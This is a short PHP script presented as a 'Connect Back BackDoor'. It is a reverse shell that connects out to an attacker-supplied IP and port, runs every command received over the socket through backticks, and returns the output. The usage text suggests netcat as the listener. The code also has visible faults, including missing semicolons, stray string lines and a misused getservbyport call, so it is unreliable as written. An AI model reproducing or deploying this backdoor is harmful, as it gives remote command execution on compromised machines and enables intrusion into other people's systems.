#!/usr/bin/php –q
<? 
  /*
   -----------------------------------------
   [Unkn0wn Security Researcher]
   Connect Back BackDoor
   Code by Snake
   Snake[dot]Apollyon[at]YaHoO[dot]com
   www.Unkn0wn.sub.ir
   -----------------------------------------
   */
 //N0w Start
error_reporting(0);
set_time_limit(0);
echo	"    [Unkn0wn Security Researcher]\n";
	    "    [Connect Back BackDoor]\n";
        "    [Code By Snake <Snake[dot]Apollyon[at]YaHoO[dot]com>]\n";
        "    [www.Unkn0wn.sub.ir]\n\n";
if ($argc!=3){
echo "Usage: 
		PHP ".$argv[0]." <Your IP> <Bind Port>
		<Host>	    Your IP
		<Port>	    Your Listen Port
		<Notice>    For Listenig  On Special Port Use Nc : nc -vv -lp [port]\n
		Ex :
		PHP ".$argv[0]." 127.0.0.1 2121";
	exit(1);
}
$ip = $argv[1]
$port = getservbyport($argv[2],"tcp");
echo "[ * ] Data Geted\n";
$socket = socket_create(AF_INET, SOCK_STREAM, 0) || die("failed to create socket\n");
echo "[ * ] Socket Created\n";
$socket_connect = socket_connect($socket, $ip, $port) || die("failed to connect back to host:$ip\n");
echo "[ * ] Socket Connected\n";
$message = "[Unkn0wn Security Researcher]\n[Connect Back BackDoor]\n[Code By Snake <Snake[dot]Apollyon[at]YaHoO[dot]com>]\n[www.Unkn0wn.sub.ir]\n\n";
$socket_write = socket_write($socket, $message, strlen($message)) || die("Could not send data to server\n");
while($input = socket_read($socket, 666)){
$shell = `$input`;
$shell .= "Shell~# "
socket_write($socket, $shell, strlen($shell)) || die("Could not send data to server\n");
}
socket_close ($socket);
?>